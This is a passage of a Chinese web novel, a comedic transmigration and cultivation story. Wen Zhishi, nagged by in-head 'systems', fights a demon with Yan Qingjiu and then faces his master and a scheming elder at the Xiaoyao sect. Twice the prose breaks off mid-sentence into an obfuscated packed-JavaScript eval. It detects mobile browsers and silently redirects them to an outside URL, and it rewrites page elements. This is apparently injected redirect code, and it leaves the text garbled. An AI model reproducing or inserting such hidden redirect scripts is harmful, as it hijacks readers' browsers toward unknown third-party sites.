那人动作之灵敏,下手之狠绝,看起来像个练习了多年刀法的武士。闻执诗觉得自己可能有救了,应该是苏庭折回来救他了。 闻执诗浑身疼的要命,抱着人的时候手都在抖。他一副要发表临终感言的样子,紧紧地搂住那人的后颈,深情脉脉地道了句:“苏庭,你能回来救我,师兄很是感动。只可惜,师兄福薄命浅,就只能陪你走到这儿了。勿念,勿念啊。” 而后闻执诗睁开眼,偷偷地瞄了一眼,登时大惊失色!他看到的竟然是砚倾酒那张白的像鬼的脸! 冒着生命危险回来救他的人竟然是砚倾酒?!太阳打哪边出来了? 【恭喜宿主!!!您的契约对象对您的心动值提升为25啦! 为您献上一场烟花秀(噼里啪啦噼里啪) 系统看的没错,您果然是天选恋爱之子呢! 特别提示:心动值提升到30 可以解锁「人设分析」,宿主再接再厉哦~】 躺在砚倾酒怀里的闻执诗久久没能缓过神来,他是真的以为自己回光返照了。 当然啦,他回过神之后做的第一件事就是好好地“孝敬”一下他脑子里的系统。 他面朝天空,露出了一个无比释怀的微笑,在心里痛彻心扉地骂道:“我都要死了你们看不到吗!都什么时候还在那里念叨「心动值」?!我不干啦~我要罢工~你们都从我的脑子里滚出去~现在!立刻!马上!” 系统沉默许久后,闻执诗的脑子里传来了一声清澈又单纯的正太音: 【宿主要再接再厉哦~】 闻执诗:“…………” 6. 带着道侣来修仙 不知道为什么,闻执诗看着折回来拼命救自己的砚倾酒,脑海中自动放了一首歌: “兄弟抱一下,说说心里话。” “说尽这些年你的委屈和沧桑变化。” “兄弟抱一下,有泪你就流吧。” “流尽这些年深埋的辛酸和苦辣。” “… …” 年少不知愁滋味,现在他只觉得这首歌唱得太他么苦了! 不过,砚倾酒此刻的确是在抱着他,但砚倾酒应该不会在这个时候说他的心里话。 因为祁山大臊子妖又双叒叕杀过来了! 好难杀啊。难道没有新手保护期吗? 闻执诗脑子里俩系统就像是生了孩子却弃养的人渣,完全把他当弃婴整,在他大难临头就快被大妖砍得活活疼死的时候,竟然两眼不睁,一言不发。 算了。闻执诗觉得自己没必要跟俩人机怄气。毕竟,他们就是俩没有自主性的人机,也是可怜的打工仔。 闻执诗重新提起月照泉的时候,砚倾酒已经去跟祁山大臊子肉搏了。 少年一袭紫衣,身形修长,玉树临风。风鼓荡起来的时候,衣衫便在他身上猎猎地响,先后扯出一片苍凉的弧度,如一只急于挣脱却找不到开口的紫色纸鸢。 闻执诗望着他的孱弱的背影,突然觉得自己这几日对他太绝情了。 平日里闻执诗对身边走过的陌生人都会微微一笑,而对砚倾酒,却过于刻薄冷漠了。 即便他知道,砚倾酒可能只是书中一个没有觉醒的npc。 即便他知道砚倾酒回来救他,也只是因为不想让原来的闻执诗死。一切,与他无关。 砚倾酒站得很不稳。 大妖太过蛮横,风又太猛,推着他的肩,还拽着他的背。 闻执诗提剑而去,趁大妖挥动祁山斧砍向砚倾酒后背那一刻,顺风而动,用月照泉刺向他的心口。 大妖皮糙肉厚,月照泉只能刺入他的皮肉,却无法刺穿他的心脏。闻执诗回头朝砚倾酒大喊道:“砚倾酒,找他的破绽!虽然他有五个头,但他只有一颗心。” 五颗脑袋砍不过来,一颗心还砍不动吗! 砚倾酒朝他点头示意,没有多言,而是踩着大妖的膝盖借力向上一跃,抓住了闻执诗朝他伸出去的手。 此处没有旁人,祁山大臊子又不是人,闻执诗觉得说错几句话应该不会掉太多等级,便将砚倾酒拉到自己身边,问了句:“受伤没?” “一点小伤。无碍。”砚倾酒将匕首插进大妖心口的裂缝处,同时从怀中掏出一个小白玉瓶,将药粉撒了进去。 二人布娃娃似的挂在大妖的胸口荡来荡去,好不优雅。 砚倾酒倒粉末的时候,一些粉末被风粘走,险些糊到闻执诗的脸上,砚倾酒眼疾手快地捂住了他的口鼻。 闻执诗瞪大了眼睛。他说不清楚话,支支吾吾地问砚倾酒:“你干什么?” “救你。”砚倾酒等风把药刮干净,轻声地说了句:“有毒。我下毒了。” 闻执诗扭头一看,果不其然,大妖的心口处流出的血变成了黑的,像臭水沟里溢出来的死水。但是,这只妖非同寻常,他的伤口会自己愈合啊。 甭管愈不愈合了,眼下最要紧的问题是他们该怎么从大妖的身上下去。在此期间,大妖为了弄死他们,已经快用祁山斧把自己的前胸砍成烂脑花了。他竟真的没有知觉似的,一点也没觉得疼。 真是奇了怪了。 闻执诗越发好奇他的真身到底是什么了。 砚倾酒正要往下跳。 这大妖有一家茶馆那么高,从他的胸口处跳下去,没死也成残废了。好在闻执诗有免伤卡,他不仅不会死,还不会受伤,他可以扛在下面,替砚倾酒受着。 他将砚倾酒拉到自己身边,弯下腰道:“上来。” 砚倾酒没懂他的意思,问了句:“你做什么?” “我背着你啊。” 闻执诗来不及跟砚倾酒解释,伸手一揽,让砚倾酒紧贴着自己的后背压上来,又道:“压好了。我背着你跳下去。抓紧我,你要是摔死了我不负责啊。” 砚倾酒半信半疑,却乖乖地照做了。 故此,闻执诗背着砚倾酒一跃而下,落地的时候他觉得自己的骨头快碎成渣渣了。 做好人真难啊。 装逼是要付出代价的。 砚倾酒还问了他一句,“你没事吧?” 当然有事!任谁背着一个人从茶馆二层跳下去还能完好无损啊? 他的确完好无损。闻执诗想起自己的挂逼龙傲天人设,忍着疼爬起来,怕了拍屁股上的灰,云淡风轻地回了句:“没事。我骨头硬。” 衣角略脏是不错,就是屁股摔开花了。 没等闻执诗捡起地上的月照泉再度去与大妖殊死搏斗,那大臊子竟然捂着胸口,白眼一翻,向后倒去,重重地砸在地上,摔了个四脚朝天。 神马情况?!这不对吧? 闻执诗拧着脖子问砚倾酒:“你刚才给他下了什么毒?竟有如此奇效!” “此毒名为‘残荷’,是剧毒。寻常人触之即死,我给他下了一整瓶。”砚倾酒把小白瓶拿给闻执诗看,又道,“给他下毒之前,我提前吃了解药。若你现在感到不适,我这里还有一颗。” 触之即死?闻执诗刚才险些沾一身。 也就是说如果没有免伤卡,他可能早就被砚倾酒的毒药给毒药死了。 太狠了。 闻执诗又是一番感慨,心说如此狠绝的人做炮灰还是太可惜了,至少也得是个阴鸷冷血的反派吧。 “不用。我说了,我骨头硬,命也硬。”闻执诗搔首弄姿地整理了一番头发,正了正衣领,吊儿郎当地走到祁山大臊子妖身边。想到自己的人设中有“风流倜傥”四个字,他端着架子,稍微收敛了一点。 下一步该怎么做? 天还没亮,若是一会天亮了,附近的百姓看到这么一个庞然大物躺在这里,不得吓死。 闻执诗闭着眼,呼叫系统:“人机呢?” 人工客服终于睡醒了:【呦嚯!我错过了什么好戏?嗳不对啊,这祁山妖怎么现在就出现了?嗳你怎么还没到逍遥宗呢?你到底长没长腿?】 “少哔哔,多做事。这叫「不可抗因素」你懂吗?就你这样的,一问三不知,还当系统呢,回家种地去罢。不对,种地对你来说还是太难了,您还是化斋去罢。” 一般闻执诗站着不动,面带微笑的时候,就是在跟系统吵架。 此刻就是。 人工客服:【你鬼叫毛啊?!你以为老子愿意伺候你啊?老子也有自己的任务!*********你懂吗!】 闻执诗怼他:“什么鸟语?到底是不是人,可曾学过人话?” 他真就听见了一段鸟语,显然系统是被消音了。 过了一会,人工客服诈尸似的突然出声:【好的。亲爱的宿主,现在要我为您做些什么呢?处理这只大妖对吗?您稍等,小客服帮您查询一下。】 “小客服”都来了,闻执诗差点吐了。 谁懂一个男人用夹子音在他的脑子里把这段话念出来有多恶心。闻执诗很想知道人工客服到底是被制裁了,还是去了趟泰兰德,回来少了点什么东西。 人工客服化身学校广播员,字正腔圆地念道:【查询到此妖为常年在祁山作恶的石头妖,请宿主使用度化妖灵的术法「缚妖术」将其度化。度化后,您选择将他的妖丹就地毁掉或者自行妥善保管。听懂了吗!】 闻执诗:“哦。” 他提起月照泉,剑指大妖,两指合并抵于唇前,低声念道:“人剑合一,斩断虚妄。剑锋所指,度化妖灵!” “——缚!” 月照泉闪出一道金光,Duang大一只妖登时变成五块石头,落在了地上。闻执诗将五光十色的小石头捡起来,拿在手里把玩了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349182|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,决定将它的妖丹送给砚倾酒,赏给他当小玩意儿玩,就当作是对砚倾酒的补偿。 虽然他知道,这些小石头跟本没法与砚倾酒失去的仙骨相比。 不过是找点心理安慰罢了。 砚倾酒将闻执诗给他的那五块小石头用手帕擦了擦,放进了荷包中,又趁闻执诗没注意的时候,塞到了怀里。 闻执诗苦大仇深地坐在上,摆了摆手,有气无力道:“我先歇会。累了。” 【请宿主立刻带着角色「砚倾酒」去往逍遥宗,若宿主在天黑之前没有抵达逍遥宗,将接受「不可控」因素的惩罚!】 又来催进度了。这次来的是人机系统。 闻执诗两眼一黑,眉头一紧,心说他绝对不能再拖下去了。再拖下去,今天晚上他遇到的不是岐山臊子面,就是羊肉泡馍了! 走之前,他站在砚倾酒身边,最后问了一遍:“你真的要去逍遥宗吗?” “是。”砚倾酒只回了这么一个字。他没有说理由,闻执诗却猜到了。 从那之后,这一路,二人没再说过一句话。 闻执诗是真的很心疼自己好不容易才爬上去的等级啊! 至于砚倾酒…… 应该是真的对他无话可说吧。 *** 世人皆知蓬莱有仙山,在逍遥海一岸,终年云遮雾绕。 传闻山中有一宗门,名曰“逍遥”,非有缘者不得入其门。门中弟子餐霞饮露,逍遥世外,早已不问红尘千年。 闻执诗觉得这个传闻应该是市井中人瞎编的。 什么“不问红尘千年”,门中弟子还有人下山强取豪夺,骗人感情,骗人仙骨,造此大孽的呢。 什么“非有缘者不得入其门”,砚倾酒是逍遥宗的有缘人吗?不是吧?不也跟着他从后山走小路爬上来了吗。 足足九千九百九十九个台阶啊。 闻执诗的脚底板都快擦出火星子,磨出老茧了。 不过,这一路,闻执诗倒是悟出了点修仙之人的不容易来。 入山之路,始于一片看似寻常的滩涂礁石。潮水退去时,嶙峋黑石间会显出一条湿漉漉的小径,蜿蜒探入终日不散的乳白海雾中。 攀爬不知多久,云阶尽头,豁然开朗。 映入眼前的琼楼玉宇,重重殿阁,绿瓦白墙,堪比人间仙境。 闻执诗目瞪口呆地撩着身边的云雾,心说在这么好的地方不好好修仙,真是浪费了好地方。 他心说没关系,喜笑颜开地冲着空无一人的大殿挥了挥手,又腹语道:“道友们好啊,我带着道侣来修仙啦。我厉害吧,全天下还能找到第二个带着老婆来修仙的人吗?” 虽然我的道侣爱着另一个他。 虽然我的老婆是一个男人。 越想越美,仿佛等着他的是风光无限的大好前程,仿佛砚倾酒真的是他的道侣。 他入戏了。 第一次见这种场景的不只有闻执诗,还有砚倾酒。 只是,没等砚倾酒好好地欣赏一番亭台楼阁,山中云雾,瀑布飞花,闻执诗就按照原书中的剧情,将他关到了后山的山洞中。 山洞中暗淡无光,只有一水池,一张草席,一坨鸟兽的粪便,几件破破烂烂的弟子制服。 环境差就算了,闻执诗还按照原书中的描写,用铁链子拴狗似的拴住了他的脖子,把他扔在了那张脏兮兮的草席上。 还没给他水和吃的。 妥妥苦逼炮灰的待遇啊。 闻执诗只能暂且先将砚倾酒安置在这里,在解除OOC限制之前,他别无他法。 眼下,更让人头疼的是,来了逍遥宗,他就要去见那位让人头皮发麻、闻之色变的“娇弱の道长哥哥”了。 那可是“娇弱の道长哥哥”啊!!! 闻执诗活了这么多年,何曾见过那样的“神人”! 一想到原著中的那些描写,闻执诗想死的心都有了。 7. 娇弱の道长哥哥 自打「心动值」提升到30,解锁「人设分析」之后,每每遇见一个人,「人工客服」便会向闻执诗仔细地介绍一番。 「人工客服」最先介绍的是蓬莱仙山的基本情况。 人工客服不太情愿地介绍道:【蓬莱仙山有五座主峰,分别是赤山峰、黄山峰、青山峰、蓝山峰和紫山峰,每一座山峰中一位对应的长老,其中青山峰最为高耸且灵气最充沛的一座山峰。修仙之人服气辟谷,餐霞饮露,感应天地之灵气,汇聚日月之精华,故此山灵地脉是为修士之命脉。青山峰的灵气最为充沛,那么住在青山峰中的青山长老常可甯便是五位长老中修为最高,最受人尊敬(阴险狡诈)的一位。】 听到这里,闻执诗腹诽道:“这取名未免太随心了吧,而且一点也不公平!赤橙黄绿青蓝紫,凭什么“橙”和“绿”没有被邀请。要是我当了长老,必定单独开两座山峰,给‘橙’和‘绿’一个名分。” 人工客服懒得理他,带着打工人的怨气,继续讲解道:【本来,逍遥宗的执剑掌门微生言与其弟子闻执诗是单独居住于小香山的。只是不知为何,执剑掌门竟然搬到了青山峰,与青山长老同居于青山峰的通天殿中,据门中弟子所说,这位青山长老与微生言从前可是见面就争吵的死对头,不知为何最近二人突然变得亲近了起来。】 “变故”往往是剧情中的关键点。闻执诗问道:“这两位‘神人’到底是什么人?他们不会都是断袖吧?” 人工客服:【你正经一点。一般修仙之人哪有谈情说爱的啊?修仙才是要紧事!】 闻执诗模仿「人工客服」平时阴阳怪气的语气,揶揄道:“是啊~修仙之人怎么能~谈情说爱呢~你说的~我还真就信了呢~~” 人工客服:【……你能不能死一死?】 闻执诗在胸前比了个“×”,面带微笑道:“不能。生命诚可贵,你休想要我小命。快点说行吧大哥,我就要走到通天殿了!那位‘娇弱の道长哥哥’还在等着我呢。” 人工客服:【行,你好好听着啊。】 【微生言,字安宁,修仙之前乃天横贵胄——荣国的皇子。他天资聪慧,文武双全,深受荣国国主微生尘的喜爱。只可惜,他自出生起便背负着一个预言。 荣国的国师夜观天象,占卜后得知微生言十八岁之时会死于微生尘的剑下,死无全尸。为此,国主微生尘命国师宦游列国,寻找破解之法。国师此去经年,却无功而返。 转眼到了微生言十七岁的生辰,微生尘害怕预言会成真,便将自己的宝剑扔进了熔炉中,看着化成熔浆的宝剑,他仍然不放心,于是便将皇宫中的宝剑全熔了。 微生尘熔了尚方宝剑后,荣国不幸遭遇九方妖域的妖物的袭击。人妖之力悬殊,荣国的将士难以抵挡,死伤惨重。在那场大战中,微生尘被妖物咬断四肢,身受重伤,濒死之际,他仍然放心不下微生言。 那一年,微生言迎来了自己的十八岁生辰。 按照预言,他将死在他父亲的剑下。 可那时的微生尘已经没了剑,也没了手脚,预言还会应验吗? 预言一定会应验。 微生尘濒死,意识溃散之时,妖物俯了他的身,用妖术幻化出一把长剑,刺向了微生言。 微生言与妖物死战三天三夜,遍体鳞伤。无力抵抗之时,他跪在微生尘的龙榻前,懊悔地对微生尘说,是预言害了父王,是他害了荣国。 若微生尘没有因为那个预言将宝剑扔进熔炉,荣国便不会这么快被妖物蚕食。 微生言万念俱灰、痛不欲生之时,恰好逍遥宗上一任执剑掌门楚天鹤下山除妖时途径荣国,救下了他。 楚天鹤将微生言收为弟子,带在身边修习,他守着微生言,疗愈他心中的伤痛,这一守就是百年。 只可惜,楚天鹤没能飞升成仙,终究还是在微生言的面前身死道消了。 楚天鹤死的那年,微生言收了一位弟子,便是闻执诗。从那之后,他告诉他的徒弟,他此生只有一个愿望,便是得道成仙。】 “所以微生言才会宁可抽筋换骨也要成仙,所以原先的闻执诗宁可伤害砚倾酒也要给他的师父换骨。一切都说得通了。”闻执诗走到通天殿的大门口时,终于明白了事情的来龙去脉。 可恨之人自有可悲之处。 这位“娇弱の道长哥哥”也有如此不幸的人生经历啊。 现在还不是替他感到惋惜的时候,闻执诗只求这位道长哥哥还能做个正常人。 千万不要变成原书中那个样子啊! 在他传书之前,原书中的闻执诗已经将砚倾酒的仙骨种到了微生言的身体里,过了几夜,那仙骨应该是发芽了。但是有毒的仙骨能发出什么芽,现在的闻执诗就不知道了。 总归不会是好芽! 闻执诗不敢再往下想了,便回过神,看向通天殿。 通天殿果真殿如其名,名不虚传! 大殿飞檐如剑,直指苍穹,气派恢弘。 殿基由一整块“镇海玄玉”雕刻而成,其上有四象圣兽的元神法相——青龙、白虎、朱雀和玄武。殿中夜明珠不计其数,白玉器具更是比比皆是。 闻执诗站在殿前抬头望了一眼那块白玉底黄金字的匾额,心说百闻不如一见,见了才知这通天殿真可谓是浑然天成,玄之又玄啊。 妙哉,妙哉。就是太奢侈了点,一般修真之人住的宫殿不都应该是简简单单,还有点潦草的吗。 想到这位师尊从前是一国的皇子,金枝玉叶,想必家底很是丰厚,说不准这些玉衡啊,夜明珠啊,金子银子啊,都是他从老家搬来的呢。 他觉得闻执诗这命真的挺好的,无论走到哪里都有花不完的金子。 大殿之中,一人坐在白玉镶金的宽椅上,身后是虬龙盘绕的神木,身前有一个半人高的黄铜镜,看着像是仙门的宝贝,缓缓旋转的时候金光熠熠,映照大千。 这气派,这气质,这架势……想必此人便是逍遥宗的执剑掌门微生言了。 若是穿进旁的小说里,见到此等高端大气上档次的场景,见到如此气势十足的男主角,闻执诗自然是要敬上三分的。 可这个男主角不一般啊,任他叱咤风云,呼风唤雨,在闻执诗这个拥有上帝视角的人眼里,他就是个被人艹来艹去的小“娇弱”! 想想都觉得如鲠在喉、芒刺在背、毛骨悚然!闻执诗根本不敢直面他,奈何自己还要走剧情。 他板板正正地冲微生言作了个揖,恭恭敬敬地道了声:“师尊,徒儿回来了。” “为师等你很久了。”这嗓音道韵清绝,如新竹破雪,甘泉击石,还有点好听。 只是这话让闻执诗听得不由得一怔,心道:“师尊……师尊等我,等我做什么?” 闻执诗扭头一看,微生言身边还站了个人,穿了身绿衣服,脖子上还盘了条绿得乍眼的竹叶青。 那蛇正吞吐着蛇信子不怀好意地看着闻执诗,像是在把人往外边赶。 绿人抬起手抵着下巴,轻轻地咳嗽了两声,抬眸看向闻执诗时,笑得嘴角快咧到后脑勺去了。他笑得极其诡异,令人后背直冒冷汗,问闻执诗道:“闻师弟不是说去一夜就回来了吗,怎么去了这么久呀,可是遇到了什么事儿?” 好TM阴阳怪气啊! 人工客服突然诈尸,介绍道:【此人便是青山峰长老常可甯,他曾是微生言门下弟子,后来做了长老,就跟微生言闹僵了,最近又突然犯了邪,开始舔微生言了。】 了解! 闻执诗转身朝着常可甯作揖,回应道:“多谢青山长老关心。弟子此去不巧遇上了大雨,大雨冲断了路,弟子用一日的时间救助了受困的百姓,这才耽搁了。” 闻执诗张口就来,声情并茂地讲,他自己都信了。 “是么?要是我门弟子都像闻师弟这般乐善好施,心怀善心就好了。”常可甯走到闻执诗身前时,他脖子上挂着的竹叶青恨不得钻到闻执诗的怀里。闻执诗见到那条蛇就浑身起鸡皮疙瘩,他硬着头皮站在原地,应道:“这是弟子该做的。” 常可甯从怀里掏出一个黄铜圆盘,一边走,一边在闻执诗身边比划,鬼知道他要做什么。 这时,微生言突然发话了:“可甯,你不是说,你要去藏书阁翻阅古籍么?快些去罢,再不去天就快黑了。” 这话是在赶常可甯走。 闻执诗心说这微生言还挺爱护徒弟呢。 正思量着,他抬头看了一眼微生言。 此人长相俊美,却非世俗意义上的英俊,而是一种令人屏息、近乎琉璃般透明而又疏离的美。 他坐在那里,单手抵额,雪白的长发随意地散落在胸前,白色的长睫也是向下垂落的,那双藏在睫毛下乌黑的眼睛,不看时双眸中清醒的凉薄之意,悲天悯人,却又冷漠无情。 总而言之,言而总之,微生言看起来很纯净,很温柔,一点也不娇弱! 闻执诗心说这是那位“娇弱の道长哥哥”吗?搞错了吧?他真的是微生言吗?还是说哪里出了差错? 突然,黄铜圆盘的指针抖了一抖,常可甯扬眉一笑,意味深长地看着闻执诗,慢条斯理地道了句:“闻师弟身上怎么有妖气呢。” 定是那祁山大臊子妖的血没冲洗干净。 “没有吧。”闻执诗佯装什么也不知道,抬起手时微微皱鼻,假装嗅了嗅衣袖,又道:“许是在山下沾上了什么不干净的东西,没洗掉吧。弟子多谢青山长老关心,弟子无碍,请长老放心。” “嗳?没有吗?那就奇了怪了。”常可甯眉头一皱,肚子里的坏水翻了翻,“今早有门中弟子来报,说是山门中发现了妖气,很浓,很凶,很可疑,带着一股膻味。我闻着闻师弟身上的气味,跟那种膻味有些相似呢。” 常可甯说的这几句话让闻执诗大概知道了他到底是一个什么样的人——多管闲事的贱人。 闻执诗眯眼一笑,哼哼两声道:“青山长老怕不是辟谷多年,有些馋羊肉了。” 原书中的闻执诗就是一个十恶不赦,毫无良知的坏种,闻执诗使坏回怼非但不会OOC,反而能更贴合角色。 特别要注意的一点是,原书中的闻执诗是个极其高冷且喜欢装逼的角色,很少笑。一般来说他只要笑一下,就是要杀人了。 而常可甯就像一条容易发疯的狗,只要别人不顺着他的意,他就能急红了眼。他咬着牙根,拈了一个传诏令,把苏庭给唤来了。 苏庭仍然穿着那身青蓝色的弟子制服,仍然是那副懵懵懂懂傻了吧唧的模样,只是,他从闻执诗身边经过时,完全没有看他,好似完全不认识他了。 他身上的伤完全好了,缺了的三根手指头也长出来了。 闻执诗问「人工客服」:“怎么回事?苏庭被你们拉回去重置了吗?” 人工客服:【当然。你把NPC借去用了,给人家弄得浑身是伤,还不允许我们给他带回来修复一下了吗。他的记忆已经重置了,现在他不认识你,你别乱说话。】 “哦。 ”闻执诗真想骂系统,“你们真勤快。” 常可甯见闻执诗眉头紧皱,一脸苦色,不由得笑了起来。他对苏庭说:“告诉仙尊和你闻师兄,妖气是在哪儿发现的。” “是。”苏-NPC-庭站得绷直,面对着微生言行了个礼,逐字逐句道:“启禀仙尊,妖气是在闻师兄平日里练功的后山发现的。那里藏着一个男人。” 闻执诗心头一惊,心道:“完啦。大事不妙!” 砚倾酒跟他一起杀了祁山大臊子妖,身上没有妖气才怪。 微生言用指尖揉了揉眉心,不咸不淡地问道:“执诗,你平日里不是常说不让旁人进你的后山么。” “你的”二字他说的特别重。 闻言,闻执诗挑了一下眉,心道:“你说后山是我的那就是我的啰!反正不是我抢来的!” 闻执诗道:“回师尊,正是如此。只是这个人,不是一般人。” “好稀奇啊,闻师弟眼中竟然也能有不一般的人了。我还以为,闻师弟只对仙尊情有独钟呢。”常可甯添油加醋道:“闻师弟可否愿意说说,那个人,怎么就不一般了。” 怎么说才能不OOC,怎么才能救砚倾酒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349183|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命? 六只眼睛死死地盯着闻执诗看,他面不改色道:“此人相当不一般,因为他是我的仇人,是死敌。若非仙门有规矩不能杀生,我早就将他碎尸万断了。” 话音刚落,两位青山峰的弟子便拖着砚倾酒走到了闻执诗的身边。 丸辣!心动值要猝死了! 闻执诗没敢看他,咬着嘴唇深吸了一口气,转头对常可甯道:“青山长老的动作真快啊,这么快就将人带来了。莫非长老是想替我报仇雪恨?” 听到“报仇血恨”四个字时,砚倾酒的眉头颤了一下。 到底是谁该恨谁?! 闻执诗用手腕那么粗的铁链子吊着他,他的脖颈处,腰上,大腿上全都有被铁链子勒出来的红印,看着像是被人狠狠地折磨过。 不用闻执诗过多解释,大殿中凡是长了眼睛的人都能看出来,砚倾酒的确是闻执诗的死敌。 若他只是闻执诗的一般的敌人,应该不会被闻执诗折磨成这副人不人鬼不鬼的凄惨样子。 “报仇的事儿还得你自己来,才痛快啊。”常可甯拔剑出鞘,将他的佩剑——逍遥中三大宝剑之一的婆卿扔给闻执诗,颇为期待地道:“既是仇人,那便杀了吧。” 闻执诗接住剑,冷笑道:“青山长老莫非忘了逍遥宗的规矩是不可在仙门中杀生。如今仙尊就在这看着,执诗可不敢乱了规矩。” “闻师弟不是一向喜欢把规矩踩在脚底下吗?怎么突然用规矩来约束你自己了?这不对吧。”常可甯走近些,几乎贴着闻执诗的耳朵说,“况且,仙尊那么疼爱你,你杀了人,他会闭着眼睛,装作没看见的。” “我知道师尊最宠我了。”闻执诗挑眉一喜,恃宠而骄,阴阳怪气地反问道:“青山长老也会包庇我么?莫非您也很怜爱我这个师弟啊。” 以其人之道,还治其人之身。在脸皮厚这一点上,常可甯遇见闻执诗,算是遇到劲敌了。 常可甯的脸色黑得极其难看!他强忍着没有发作,顷刻间换了神色,扭头看着闻执诗,耸了耸肩,细声道:“你越是不想杀他,我就越想让你杀了他。师弟啊,动手吧,他身上可是有妖气啊。你不肯杀他,我可就要说你和他一起私通妖族,祸乱仙门了。” 闻执诗心说竟然在这儿遇到对手了,此人竟然比自己还不要脸!常可甯血口喷人不说,还要将跟他无冤无仇的砚倾酒置于死地!闻执诗无比想当众捅他一剑,出口恶气! 没办法,OOC限制还没解除。砚倾酒又要遭罪了。 闻执诗提着剑,走到砚倾酒身边,砚倾酒跪在地上,身上的伤还在滴血。他寒声问道:“说,你身上的妖气哪来的?” 砚倾酒抬起头,狠狠地剜了闻执诗一眼。 这一眼够狠,将闻执诗心里的一块肉剜了去了,他握剑的手不禁抖了一下。 闻执诗又问道:“你说,我是现在一剑杀了你,还是将你带回后山,关起来,将你一点一点地折磨致死?你选一个吧!” 好无耻好无耻。这番话究竟是怎么样说出口的…… 砚倾酒垂着头,看着地上炸开花的血,虚弱地道:“动手吧。要杀要剐但随君便。” 闻执诗的心瞬间凉透了,心说兄弟二选一你都能选错?现在不是展现你无畏气节的时候啊,你让我将你带回后山,我还能真折磨你不成?今早我把你捆起来那是出于无奈啊,到了晚上我肯定会去山洞里将你放下来的。嗳,现在好了,我又要想其他的办法救你了。 不能OOC!继续刷剧情…… “现在让你死,太便宜你了。”闻执诗狠着心说,“你不肯承认你身上有妖气,是不是在替别人遮掩?若你死了,逍遥宗中真正与妖族私通的人,不就逍遥法外了吗。”他的视线从常可甯的脸上一刮而过,又道,“您说是不是啊,青山长老。” 甭管他三七二十一了,粪盆子往始作俑者常可甯头上扣就是了。 常可甯摊开手,一脸无辜道:“我哪能知道,你看我也没用啊。问不出来也没关系,你把他扔到专门处决仙门叛徒的四大祭魂那里,让他们对他严刑逼问,我就不信还问不出来了。” 讨论恶毒还得看常可甯这厮…… “如此不妥。若是将他送到四大祭魂那里,非但青山峰的人会知道,整个逍遥宗的人都会知道,到时候流言蜚语满天飞,怕是会影响青山峰的名声。”闻执诗转过身,面朝微生言,拱手道:“师尊,弟子请求暂留他一命,先将他关押在灭妖塔中,待问出实情,再根据情况处决他也不迟。” 就等着微生言点头了。闻执诗低着头,在心里默数一二三四五,他数到第六秒时,微生言道:“为师信你。就依你所言,先这么办罢。” 常可甯的脸登时变得比他脖子上的竹叶青还绿!闻执诗歪着头,学着竹叶青的神态冲他吐了吐舌头,好像在说:“师尊就是过于疼爱我了呢。气不死你个竹叶青!” 从此“娇弱の道长哥哥”在闻执诗心中变成“偏爱他の仙尊哥哥”了。 砚倾酒还在地上跪着,静静地看他们演戏。 闻执诗伸手在苏庭身前打了个响指,言道:“送这个‘罪人’去灭妖塔,关着他,不要给他吃食。最好再放出几只小妖折磨他。” 闻执诗朝苏庭使了个眼色,用眼神道:小妖小妖,一定要小你知道吗苏师弟…… “是。”苏庭与那两位青山峰的弟子一起扛起砚倾酒就要往外走。 从闻执诗身旁走过时,砚倾酒用余光睨了闻执诗一眼,恰好那一眼被闻执诗捕捉到了。闻执诗张了张嘴,冲他无声地道了句:“等我。” 等我……救你…… 常可甯兴致未减,意犹未尽,然而微生言下了逐客令,他不得不走了。走时,他咬着牙根对闻执诗道:“好生伺候好仙尊,我这就到藏书阁翻阅古籍去了。” 闻执诗忍住笑意,得得瑟瑟地冲常可甯摆了摆手:“青山长老慢走哦。” 常可甯走后,闻执诗朝微生言行了个礼,也要告辞。他刚转身,微生言便瞬移到他的身后,将手轻轻地搭在了他的背上,低声道:“执诗,你随为师到冰泉来。” 8. 蛇鼠一窝 闻执诗天真地以为微生言真的会将他带到白气弥漫、清冷刺骨的冰泉中,却不料微生言口中的冰泉竟是他寝室中的一方小泉子。 重点是什么?重点是冰泉竟然在微生言的寝室中! 这很容易让人浮想翩翩啊! 闻执诗发誓自己绝对没有看过那些有色之物。 男人的直觉告诉他,微生言只要进了这方小泉子,就一定会脱衣服。 果不其然,微生言不管那三七二十一,刚回到寝室就背对着闻执诗剥洋葱似的一层又一层地将衣服脱了个干净。 他将脱下的衣服仙女撒花似的扔到了冰泉旁的玉台上,青白色薄透的长衫搭在玉台上,衣带甚至滑落到了水里。 这场面不对劲。 说娇弱乍眼一看还真有点…… 闻执诗抵着下巴轻咳一声,心道:“说娇不娇,但要是说弱,的确挺弱。”而后他低下头,拱手道:“师尊,弟子还有要事要做,弟子请求……” 闻执诗嘴瓢,差点把“请求”说成了 “倾酒”! 差点露馅了!闻执诗觉得自己需要一本《演技大赏》来精进一下演技了。 “于你而言,还有谁比为师更为重要?”微生言将身上穿的衣裳剥干净后,兀自坐到冰泉旁的玉台旁,见闻执诗不敢抬头看他,他便滑到冰泉中,将后背亮给他看。 冰清玉洁,小脸通红。 这下够弱也够娇了,闻执诗暗自抚掌,心说不愧是“娇弱の道长哥哥”,符合人设,没有认错。 只可惜他不是真正的闻执诗,他是绝对不会对微生言产生那种想法的。 微生言的后背上有一道长长的刀伤,从后颈一直到臀骨,现已结痂,看样子日后定是会留下疤痕的。 